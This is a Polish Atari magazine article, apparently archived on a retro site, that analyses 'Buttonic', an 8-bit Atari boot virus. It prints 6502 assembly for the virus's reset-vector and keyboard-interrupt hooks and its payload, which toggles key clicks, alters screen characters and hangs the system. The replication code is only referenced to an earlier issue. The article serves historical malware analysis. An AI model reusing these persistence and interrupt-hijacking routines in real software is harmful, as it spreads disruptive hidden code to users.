Tajemnice ATARI

BUTTONIC

    Wirusy to najprostsze twory przyrody, które wykazują podstawowe cechy właściwe układom żywym. Posiadają zdolność rozmnażania się, ale tylko w żywej komórce. Nie wykazują cech przemiany materii. Są drobnoustrojami wywołującymi choroby zakaźne zarówno u ludzi, jak u zwierząt i roślin.     Wirusy to najprostsze twory programistów, które wykazują podstawowe cechy właściwe dużym programom. Posiadają zdolność rozmnażania się, ale tylko w pamięci komputera. Nie wykazują cech obróbki danych. Są programami powodującymi wielkie zamieszanie zarówno na dużych jak i na małych komputerach.

    Nie upłynęło wiele wody w rzekach od czasu ukazania się artykułu pana Janusza B. Wiśniewskiego pod tytułem "Złapaliśmy wirusa", gdy mój komputer zaczął się buntować i okazywać swe niezadowolenie:
    - w zależności od humoru i pogody włączał lub wyłączał dźwięk klawiatury;
    - w momentach najmniej odpowiednich "stawiał ekran na głowie" lub przestawał wyświetlań znaki w negatywie;
    - buntował się podczas nagrywania czegokolwiek na dysk;
    - wieszał się bezpowrotnie po użyciu klawisza RESET. Nie było cienia wątpliwości, że coś jest nie tak.

    Po zmaganiach ze sprzętem i oprogramowaniem wyselekcjonowałem wirusa, będącego zapewne wynikiem ewolucji osobnika zaprezentowanego przez pana Wiśniewskiego. Pozwoliłem sobie nazwać go "Buttonic". Jest to bestia o wiele bardziej przebiegła i złośliwa od swego przodka... Ale zacznijmy od początku...

    Po swym protoplaście "Buttonic" odziedziczył skórkę oraz narządy rozrodcze. W tej materii nic się nie zmieniło, więc ograniczę się do opisania organów podtrzymujących egzystencję wirusa oraz służących do zatruwania życia użytkownikowi ATARI.

    Listing z nr 10/92 TA uzupełniłem o następujące deklaracje:
kbcd   equ $d209
rand   equ $d20a
nocl   equ $2db
keyv   equ $208
time   equ $14
chct   equ $2f3
crit   equ $42
wait   equ $c0df
    Zmieniła się inicjallzacja:
main   equ *

* init (reset)
       ldy #1
setr   lda dosi,y
       sta oldr,y
       lda ares,y
       sta dosi,y
       dey
       bpl setr

* 'd' entry search
seek   ldx #0
dsrc   lda htbs,x
       cmp #'D'
       beq foun
       inx
       inx
       inx
       cpx #36
       bcc dsrc
       rts

* trap table address
foun   lda #6  page 6!
       cmp htbs+2,x
       beq retu
       ldy #1
ttlp   lda htbs+2,x
       sta addr,y
       lda mtad,y
       sta htbs+2,x

       lda keyv,y
       sta ckey,y
       lda akey,y
       sta keyv,y
       dex
       dey
       bpl ttlp

retu   rts
    Jak widać, wirus przedłuża wektory dosini oraz keyvec (wektor przerwania klawiatury). Przy ustawianiu drugiego z wektorów brakuje sekwencji rozkazów wyłączających przerwania na czas operacji, co może spowodować "skok w maliny", jeśli podczas jej wykonywania wywołane zostanie przerwanie klawiatury. Patrząc jednak z punktu widzenia wirusa, który przybył przecież aby sprawić kłopot, to wszystko jest w porządku: wektor RESET-a jest przedłużony, więc system może się już wieszać.
*--- reset

rest   jsr *
oldr   equ *-2
       jmp seek
    Po resecie "Buttonic" skacze wpierw do procedur inicjalizujących, które były zainstalowane zanim przybył. Dzięki temu mogą zostać ustawione wektory, do których później nasz wirus się przyklei. Jak wynika z analizy programu, jest on odporny na RESET.

    Najbardziej "złośliwą" częścią "Buttonica" jest przerwanie klawiatury (stąd nazwa wirusa).
*--- keyboard int

xkey   lda kbcd
       cmp rand
       bne jump1
       sta nocl
jump1  cmp time
       bne jump2
       sta chct
jump2  lda crit
       beq jump3
       jmp wait
jump3  jmp *
ckey   equ *-2
    Sprawdzane jest, czy kod wciśniętego klawisza zgadza się z wartością pobraną z odpowiednich komórek pamięci. Jeśli kbcode=rand, to wartość z kbcode wpisywana jest do rejestru nocl, co zazwyczaj powoduje wyłączenie dźwięku klawiatury. Jeśli kbcode=timer, to wartość z kbcode wpisywana jest do rejestru chrctl, odpowiadającego za wygląd znaków na ekranie. Ponadto sprawdzany jest rejestr critic - jeśli w chwili wywołania przerwania był on ustawiony, to wirus skacze do sprytnej procedurki wait, której jedynym zadaniem, zgodnie z nazwą, jest oczekiwanie na wciśnięcie klawisza RESET.

    Tuż przed wzorem bloku inicjalizacji dodana została jeszcze krótka tabela:
*--- new int vec
akey   dta a(xkey)
ares   dta a(rest)
    Zastosowanie jej pozwoliło na uproszczenie programu inicjalizacji oraz ograniczenie jego długości, a w następstwie długości całego wirusa.

    I to by było na tyle. Pozostaje mi jedynie życzyć Czytelnikom, aby znali "Buttonica" tylko z tego artykułu.

MAG(M)



Powrót na start | Powrót do spisu treści | Powrót na stronę główną

Pixel 2002